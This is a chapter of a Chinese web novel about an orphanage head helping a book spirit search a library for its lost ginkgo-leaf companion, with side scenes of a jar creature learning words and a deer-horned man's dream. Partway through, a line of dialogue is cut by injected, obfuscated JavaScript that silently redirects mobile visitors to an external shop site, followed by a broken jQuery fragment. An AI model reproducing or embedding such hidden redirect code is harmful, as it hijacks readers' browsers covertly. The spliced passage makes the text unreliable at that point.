书书把那片银杏叶书签和那张金纸一起寄出去的时候，用的是胡离从单位顺回来的牛皮纸信封，上面工工整整地抄了地址和收信人姓名——市图书馆旧书库，转交“银杏先生”。书书说那是他同伴的代号，因为本体是一片四百年的银杏叶，夹在一本明代地方志里当书签，修炼了两百多年才化出人形。
林小满陪他去巷口寄的快递。书书站在邮筒前面，双手捧着信封举了好久，最后才依依不舍地塞进去。信封落底的闷响传上来，他耳朵尖微微颤了一下，像听见了什么重要东西被关起来了。
“三天就能到，”林小满拍了拍他的肩膀，“市图书馆又不远，跑腿半天的事。你别操心这个了，回去帮我看一下灵纸的晾干时间。”
书书点了点头，跟着她回了福利院。但接下来两天，他频繁地蹲在门槛上朝巷口张望，手里那本书翻来翻去都是同一页，连陶陶都看出来了：“书书哥哥在等东西。”
第三天傍晚，胡离从外面回来，手里捏着一个牛皮纸信封，脸色不太好看。书书一骨碌从门槛上站起来，跑过去接过来，翻到背面看了一眼——然后整个人僵住了。
信封上贴着一张退件单，上面印着“查无此人”四个字，底下盖了市图书馆旧书库的章。邮递员的附注写着：“该库房已于上月完成翻新，所有旧书档案清空移交，原址无此姓名人员。”
书书站在院子中央，把那封退信翻来覆去看了三遍，嘴唇慢慢抿紧了。他一句话没说，但手里那本书的书页自动翻到了夹银杏叶书签的那一页，叶脉上那行墨痕比之前淡了不少，像渐渐干涸的河水。
林小满蹲到他面前：“书书，明天我陪你去一趟市图书馆。翻新归翻新，旧书不可能全扔了，肯定有移交去向。咱们到那儿问一圈，能找到线索。”
书书抬起头来，眼眶有点红，但他用力眨了两下眼把那层水光压了回去，声音还是细的：“……好。谢谢院长。”
那天晚上林小满做了两件事。第一件事是把明天中午的视频拍摄任务往后推了一天，在日程表上写了“陪书书找同伴”。第二件事是端了一碗红糖糍粑去杂物间——她自己做的，糯米粉揉的团子裹了红糖浆，热腾腾的。
她把碗放在玻璃罐旁边的时候，罐子里的灰团子比前两天明显地动了。它从蜷缩的状态微微展开，触须贴着内壁慢慢往上攀，像一棵初春破土的嫩芽。林小满把碗盖揭开，红糖的甜香散出来，灰团子的触须猛地颤了一下。
“……今天不饿？”她问。
罐子里传出一阵轻微的嗡鸣，比之前清晰了一点，像生锈的齿轮终于抹了油，缓缓转动起来。那几个模糊的音节能听出大概的形状了：
“……热……的……”
林小满蹲着没动。她看着那团灰烬用触须小心翼翼地碰了碰碗边，蘸了一点红糖汁液收回去，整个身体微微泛起一层极淡的暖色，像炭灰底下终于燃起一粒火星。
“你以前吃的东西，”林小满说，“都是凉的？”
灰团子没回答。它把整个碗缓缓拉进罐口，碗底和玻璃碰撞发出一声轻响。然后它缩回去，安静地蜷在罐底，开始一点一点地吞噬那碗糍粑。
林小满站起来准备走的时候，身后传来了一声更清晰的嗡鸣，这一次她听懂了两个完整的字：
“……谢……谢……”
她回头看了一眼。灰团子在碗后面露出来一点边缘，颜色比之前浅了一点点，从炭灰褪成了深灰色。它没有再动，但碗里的红糖糍粑少了一个角。
林小满把杂物间的门轻轻带上，在走廊里站了几秒。然后她去洗了手，回屋睡了。
那天夜里，白泽又梦见了那片雪地。
这一次和上一次不一样。雪地还是白的，天空还是灰蒙蒙的看不见边界，但那个小小的背影走得比之前慢了一些。白泽发现自己能动了——他迈开腿，一步、两步、三步，踩在积雪上发出咯吱咯吱的声响。他在追那个背影。
那个背影穿着旧棉袄，颜色褪得看不出原本是红是蓝，领口露出一圈白色的绒毛，像某种动物的皮毛。它走得很慢，但白泽追得更慢，像是雪在拖他的脚。他伸出手，指尖离那背影的棉袄后摆还差半臂的距离。
然后他听见了声音。很小、很细的一个童音，从风里漏过来，断断续续的：
“……别追了……你追不上我的……”
白泽张了张嘴，喉咙里干涩得发不出声。他拼尽全力往前又迈了一步——这一次他的指尖终于碰到了那件棉袄的边缘。
小小的背影停住了。它缓缓地、缓缓地侧过身来。
白泽只看到了半张脸。
那半张脸很小，圆润的腮帮，一条浅淡的疤痕从颧骨延伸到耳垂，睫毛上凝着霜花。那只眼睛是琥珀色的，和他一模一样。
然后梦碎了。
白泽猛地睁开眼睛，胸口剧烈起伏着。偏房里一片漆黑，他坐起来，鹿角上的金光在黑暗中猛地亮了一瞬又暗下去。他低头看自己的手——指尖还在微微发颤。那半张脸的轮廓嵌在他脑海里，怎么都挥不掉。
他认识那半张脸。
他握紧拳头，指甲掐进掌心。但记忆的碎片像碎玻璃一样扎在脑子里，每一片都锋利又模糊。他越是用力去回想，那些碎片就越往深处沉进去。
第二天早上，林小满推开偏房门的时候看见白泽坐在榻上，脸色不太好，眼下乌青又重了。她没多问，只是把一碗热豆浆放在他手边，说了一句：“今天我得陪书书去一趟市图书馆，院里你盯一下。陶陶让胡离看着，别让他把门槛啃穿了。”
白泽点了点头，端起豆浆喝了一口，忽然开口：“我昨晚又做梦了。”
林小满停住脚步回头看他。
“我追到它了。”白泽的声音很轻，“它转过来……我看到了半张脸。是个小孩。眼睛和我一样。”他抬起眼睛看着林小满，“我觉得……它是我记得的人。但我怎么都想不起来是谁。”
林小满靠在门框上看着他。秋日早上的光从窗棂斜进来落在他的侧脸上，鹿角上沾着一点细碎的绒毛，在光里微微浮动。她想了三秒钟，说了一句连她自己都觉得有点不着调的话：“那你下次梦见的时候，叫它一声试试。叫个名字。乱叫也行。”
白泽看着她，嘴角动了一下：“叫什么？”
“叫‘喂’也行，‘小鹿’也行。”林小满摆了摆手，“反正梦是你的，你说了算。我先走了，书书在门口等了。”她转身跑开，脚步声在院子里啪嗒啪嗒地响远。白泽在榻上坐了一会儿，低头看着碗里剩下半碗豆浆，薄薄的唇角弯了一个很浅的弧度。
市图书馆旧书库在城西一条老街上。建筑外墙贴着白瓷砖，门脸不大，里面的格局却深得很，像一本被翻旧了的厚书。书书站在门口的时候，怀里那本书的书页哗啦啦翻得飞快，每一页都像在剧烈地呼吸。
林小满牵着他走进去，跟前台管理员说明了来意——找一位“此前在旧书库工作、擅长古籍分类的同事”，她没说“银杏先生”，只说是个瘦瘦的、戴眼镜的人。管理员翻了翻登记册，摇头：“上个月翻新，整个旧书库的人都分流了。大部分去了总馆的文献部，还有两个退休了。你说的这个……我没印象。”
书书的手在林小满掌心里微微发抖。她握紧了他，又问：“那旧书库清出来的那些旧书呢？搬到哪儿了？”
“大部分送去总馆地下室暂存了，少部分捐赠给山区学校，还有一批……据说品相太差，直接处理掉了。”
书书猛地抬起头来。林小满感觉到他掌心的温度骤降了一截。
“走，”林小满拉着书书往外走，“去总馆地下室。找得到就找，找不到再说。”
总馆地下室在主体建筑的地下一层，入口非常不显眼，在一排铁皮储物柜后面。林小满敲了值班室的门，说明来意之后，一个打着哈欠的保安大爷摆摆手：“里面都封了，还没整理完呢，不好进。”
林小满用了一招她以前在公司跟客户打交道的绝活——满脸真诚、语速适中、带一点点恳切的尾音：“我弟弟之前在这儿丢了一本很重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943811|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要的书，是家里传下来的。您通融一下，我们就进去转一圈，十五分钟，绝不添乱。”
大爷看了她一眼，又看了缩在她身后、抱着书、眼眶微红的书书一眼，叹了口气：“行吧，十五分钟。别翻乱了。”
地下室的门推开的时候，一股陈年纸墨的气息扑面而来，混着灰尘和墙壁的潮气。灯光是冷白色的日光灯，照得一排排铁皮书架泛着寡淡的光。架子上堆满了捆扎好的旧书，有的用牛皮纸裹着，有的敞着口露出泛黄的书脊，空气中浮动的尘埃在光柱里缓慢旋转。
书书松开她的手，朝着一排靠墙的架子快步走过去。他的书自己翻开了，书页在空中哗啦啦翻动，像一只寻路的蝴蝶。他蹲在一堆敞口的旧书前，手指从一册册书脊上滑过去，翻到第三摞的时候忽然停住了。
他从两本书中间抽出一本薄薄的册子。封面上没有字，书脊已经脱落了。他翻开第一页，里面夹着一片发黄的银杏叶——和他书里那片一模一样，但边缘卷得更厉害，枯黄得像一触就要碎掉。
书书的手指轻轻落在叶片上。叶脉里残存着一道极淡的墨痕，勉强能认出三个字：“……走了……好……”
书书的肩膀塌了下去。他蹲在地上，把那片枯叶小心地放进自己书页里，合上书，抱着膝盖坐了一会儿。
林小满蹲到他旁边，没说话。
沉默持续了十几秒。然后书书站起来，把脸上擦了擦：“它走了。但给我留了三个字。‘走了’——可能是被转去别的地方了，‘好’——可能是告诉我还好。”他说这话的时候声音很轻，但尾音没有抖，“它还在。只是不在图书馆了。”
林小满拍了拍他肩膀：“那咱们就继续找。它能留字条，说明心里记着你。你放张新的金纸在原来的位置，万一它以后回来呢？或者你写封信夹在那本册子里，让以后翻到的人帮忙转交。”
书书仰起脸看了她一眼，然后用力点了两下头。他把那片枯叶夹进自己的书页里，又从怀里掏出一张新的金纸，用指甲在纸面上划了一行字，叠成小方块塞进那本旧册子的夹缝里。
他们走出地下室的时候，冷白色的日光灯在身后嗡嗡响着。林小满牵着书书的手上了台阶，推开大门的瞬间，深秋午后的阳光劈头盖脸地落下来，暖洋洋地裹住两个人的肩膀。街对面的包子铺冒着白汽，空气中飘着韭菜和面粉混合的香味。
书书深吸了一口气，把怀里的书抱紧了一点。他用只有自己能听见的声音说了句什么，林小满没听清，但看见他耳尖上那点红色慢慢褪了下去。
当天晚上，福利院的餐桌上多了一盘热腾腾的韭菜盒子。书书吃了两个，陶陶吃了八个。白泽吃了三个之后被林小满按住了手：“留点给明天早饭。”
白泽收回筷子，慢吞吞地嚼完最后一口。饭后林小满端着一碗红糖水去了杂物间。玻璃罐里的灰团子比早上又淡了一点，边缘开始泛起一点点暖灰色。碗里的红糖糍粑已经吃完了，碗底光洁如新。
林小满放下红糖水，敲了敲玻璃：“今天教了你一个新词，‘谢谢’。明天再教你一个。”
她走到门口的时候，身后传来一阵比之前更清晰的嗡鸣声，那声音不像碎片了，像一条慢慢拧起来的细线：
“……你……叫什么……”
林小满回头看了一眼罐子里那团微微发亮的暖灰色，沉默了两秒，然后说：“林小满。福利院的院长。”
她带上门走出去。走廊尽头，白泽正站在偏房门口等她，鹿角上的金光在昏暗中像一枚安静的灯盏。他看着她走近，嘴唇微启，似乎想说什么。
林小满在他开口之前先拍了拍他的手臂：“明天的梦，记得叫它一声。”
白泽愣了一下，然后点了点头。
夜色很深了，枣树上的串灯还亮着，暖黄的光落在院子里堆放的那几个纸箱上，落在房檐下摇晃的香囊串上，落在偏房窗户上映出的白泽侧影上。角落里那间杂物间的门缝底下，有一线极淡的暖灰色光透出来，像一颗沉静下来的、慢慢变亮的星。